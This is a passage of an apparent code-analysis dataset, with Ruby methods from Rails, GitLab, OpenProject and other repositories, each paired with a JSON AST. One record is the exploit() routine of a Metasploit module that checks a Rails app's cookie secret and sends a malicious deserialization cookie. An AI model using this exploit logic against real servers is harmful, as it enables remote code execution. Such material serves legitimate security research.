end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"cluster\"]}]}]}]}]}]}]}","id":"e18cf4bb-fb94-4ec9-890b-c295f0b53060"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":10,"raw_source":"def setup\n build_app\n create_schema\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_app\"]},{\"type\":\"send\",\"children\":[null,\"create_schema\"]}]}]}","id":"1689319c-5ca9-4373-847b-20e669e3f122"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/components/storages/admin/health/health_report_component_spec.rb","start_line":89,"raw_source":"def generate_test_group(group_key, checks)\n group = Storages::Adapters::ConnectionValidators::ValidationGroupResult.new(group_key)\n\n checks.each_with_index do |check, idx|\n key = :\"check_#{idx + 1}\"\n result = case check\n when :success\n Storages::Adapters::ConnectionValidators::CheckResult.success(key)\n when :warning\n Storages::Adapters::ConnectionValidators::CheckResult.warning(key, :\"#{key}_warning\", nil)\n when :failure\n Storages::Adapters::ConnectionValidators::CheckResult.failure(key, :\"#{key}_failure\", nil)\n else\n Storages::Adapters::ConnectionValidators::CheckResult.skipped(key)\n end\n\n group.register_check(key)\n group.update_result(key, result)\n allow(I18n).to receive(:t).with(\"storages.health.checks.#{group_key}.#{key}\").and_return(key.to_s.humanize)\n if result.code.present?\n allow(I18n).to receive(:t).with(\"storages.health.connection_validation.#{result.code}\")\n .and_return(result.code.to_s.humanize)\n end\n end\n\n group\n end","complexity_score":51.05,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_test_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_key\"]},{\"type\":\"arg\",\"children\":[\"checks\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Adapters\"]},\"ConnectionValidators\"]},\"ValidationGroupResult\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"group_key\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checks\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"check\"]},{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"check_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Adapters\"]},\"ConnectionValidators\"]},\"CheckResult\"]},\"success\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Adapters\"]},\"ConnectionValidators\"]},\"CheckResult\"]},\"warning\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"_warning\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"failure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Adapters\"]},\"ConnectionValidators\"]},\"CheckResult\"]},\"failure\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"_failure\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Adapters\"]},\"ConnectionValidators\"]},\"CheckResult\"]},\"skipped\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"register_check\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"update_result\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"I18n\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"t\"]}]},\"with\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"storages.health.checks.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_key\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"humanize\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"code\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"I18n\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"t\"]}]},\"with\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"storages.health.connection_validation.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"code\"]}]}]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"code\"]},\"to_s\"]},\"humanize\"]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}","id":"a57b7bbc-0ea3-4884-aaa1-b99627bb5579"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":568,"raw_source":"def test_member_on_unloaded_relation_without_match\n assert_queries_match(/1 AS one.*LIMIT/) do\n assert_equal false, Customer.where(name: \"David\").member?(customers(:mary))\n end\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_member_on_unloaded_relation_without_match\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"1 AS one.*LIMIT\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]}]}]},\"member?\",{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"mary\"]}]}]}]}]}]}","id":"b73aa507-6983-4429-a2c9-06996de65b82"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/rails_secret_deserialization.rb","start_line":227,"raw_source":"def exploit\n if datastore['RAILSVERSION'] == 3\n cookie = rails_3\n elsif datastore['RAILSVERSION'] == 4\n cookie = rails_4\n end\n cookie_name = datastore['COOKIE_NAME']\n\n print_status(\"Checking for cookie #{datastore['COOKIE_NAME']}\")\n res = send_request_cgi({\n 'uri' => datastore['TARGETURI'] || \"/\",\n 'method' => datastore['HTTP_METHOD'],\n }, 25)\n if res && !res.get_cookies.empty?\n match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)\n end\n\n if match\n if match[1] == datastore['COOKIE_NAME']\n print_status(\"Found cookie, now checking for proper SECRET\")\n else\n print_status(\"Adjusting cookie name to #{match[1]}\")\n cookie_name = match[1]\n end\n\n if check_secret(match[2], match[3])\n print_good(\"SECRET matches! Sending exploit payload\")\n else\n fail_with(Failure::BadConfig, \"SECRET does not match, wrong RAILSVERSION?\")\n end\n else\n print_warning(\"Caution: Cookie not found, maybe you need to adjust TARGETURI\")\n if cookie_name.nil? || cookie_name.empty?\n # This prevents trying to send busted cookies with no name\n fail_with(Failure::BadConfig, \"No cookie found and no name given\")\n end\n if datastore['VALIDATE_COOKIE']\n fail_with(Failure::BadConfig, \"COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway\")\n else\n print_status(\"Trying to leverage default controller without cookie confirmation.\")\n end\n end\n\n print_status \"Sending cookie #{cookie_name}\"\n res = send_request_cgi({\n 'uri' => datastore['TARGETURI'] || \"/\",\n 'method' => datastore['HTTP_METHOD'],\n 'headers' => { 'Cookie' => cookie_name + \"=\" + cookie },\n }, 25)\n\n handler\n end","complexity_score":92.08,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RAILSVERSION\"]}]},\"==\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[null,\"rails_3\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RAILSVERSION\"]}]},\"==\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[null,\"rails_4\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COOKIE_NAME\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checking for cookie \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COOKIE_NAME\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_METHOD\"]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COOKIE_NAME\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Found cookie, now checking for proper SECRET\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adjusting cookie name to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_secret\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"SECRET matches! Sending exploit payload\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"SECRET does not match, wrong RAILSVERSION?\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Caution: Cookie not found, maybe you need to adjust TARGETURI\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_name\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"No cookie found and no name given\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VALIDATE_COOKIE\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying to leverage default controller without cookie confirmation.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending cookie \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_METHOD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_name\"]},\"+\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"88508415-3e74-46bb-95be-e63b6f4f2f05"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/admin/users/users_spec.rb","start_line":705,"raw_source":"def second_row\n all_users[1]\n end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"second_row\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_users\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"24876b83-9da9-49df-aa68-e04fdf2faa69"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/create_from_model_service.rb","start_line":208,"raw_source":"def settings_of_created\n return NotificationSetting.none unless journal.initial?\n\n project_applicable_settings(User.all,\n project,\n NotificationSetting::WORK_PACKAGE_CREATED)\n end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"settings_of_created\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal\"]},\"initial?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"none\"]}]}]},{\"type\":\"send\",\"children\":[null,\"project_applicable_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"all\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"WORK_PACKAGE_CREATED\"]}]}]}]}","id":"694f83b8-b4b4-476c-b3f2-6485965c29db"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails6.rb","start_line":137,"raw_source":"def test_sql_injection_date_integer_target_false_positive\n assert_no_warning :type => :warning,\n :warning_code => 0,\n :fingerprint => \"5ec829ba8790c01a39faf6788f0754d39879a6e68a9de8804c6f25ac9c2f1ee6\",\n :warning_type => \"SQL Injection\",\n :line => 8,\n :message => /^Possible\\ SQL\\ injection/,\n :confidence => 1,\n :relative_path => \"app/models/group.rb\",\n :code => s(:call, s(:const, :Arel), :sql, s(:dstr, \"created_at > '\", s(:evstr, s(:call, s(:call, s(:lit, 30), :days), :ago)), s(:str, \"'\"))),\n :user_input => s(:call, s(:call, s(:lit, 30), :days), :ago)\n end","complexity_score":20.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_date_integer_target_false_positive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"5ec829ba8790c01a39faf6788f0754d39879a6e68a9de8804c6f25ac9c2f1ee6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/models/group.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"Arel\"]}]},{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"dstr\"]},{\"type\":\"str\",\"children\":[\"created_at > '\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"evstr\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"sym\",\"children\":[\"days\"]}]},{\"type\":\"sym\",\"children\":[\"ago\"]}]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"sym\",\"children\":[\"days\"]}]},{\"type\":\"sym\",\"children\":[\"ago\"]}]}]}]}]}]}","id":"415ebaa0-8a0b-476a-8bd6-5f64f95e06e5"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/core_ext/shellwords.rb","start_line":36,"raw_source":"def shelljoin(array)\n array.map { |arg| shellescape(arg) }.join(' ')\n end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"shelljoin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[null,\"shellescape\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}","id":"b2cb80e2-7e65-4ae0-a369-821789f3605c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/approval_rules/v2/data_mapper.rb","start_line":42,"raw_source":"def create_merge_request_association(v2_rule)\n ::MergeRequests::ApprovalRulesMergeRequest.create!(\n approval_rule: v2_rule,\n merge_request: v1_rule.merge_request\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_merge_request_association\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v2_rule\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ApprovalRulesMergeRequest\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"approval_rule\"]},{\"type\":\"lvar\",\"children\":[\"v2_rule\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"v1_rule\"]},\"merge_request\"]}]}]}]}]}","id":"4bb6cf71-6d9b-40e1-9679-1dc45b103de1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/interpolation/functions_stack.rb","start_line":13,"raw_source":"def success?\n errors.empty?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"success?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"empty?\"]}]}","id":"51ce615b-3291-4061-a17c-bbf5f63d0beb"} {"repo_name":"forem","file_path":"./repos/forem/app/services/podcasts/create_episode.rb","start_line":54,"raw_source":"def add_media_url(attributes)\n return attributes if item.enclosure_url.blank?\n\n result = GetMediaUrl.call(item.enclosure_url)\n\n attributes.merge(\n reachable: result.reachable,\n media_url: result.url,\n https: result.https,\n )\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_media_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"item\"]},\"enclosure_url\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GetMediaUrl\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"item\"]},\"enclosure_url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reachable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"reachable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"media_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"https\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"https\"]}]}]}]}]}]}","id":"d65ebb25-8b8d-4619-a1b7-222e85700d5c"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":1555,"raw_source":"def test_devcontainer_postgresql\n run_generator [ destination_root, \"--devcontainer\", \"-d\", \"postgresql\" ]\n\n assert_compose_file do |compose_config|\n assert_includes compose_config[\"services\"][\"rails-app\"][\"depends_on\"], \"postgres\"\n\n expected_postgres_config = {\n \"image\" => \"postgres:16.1\",\n 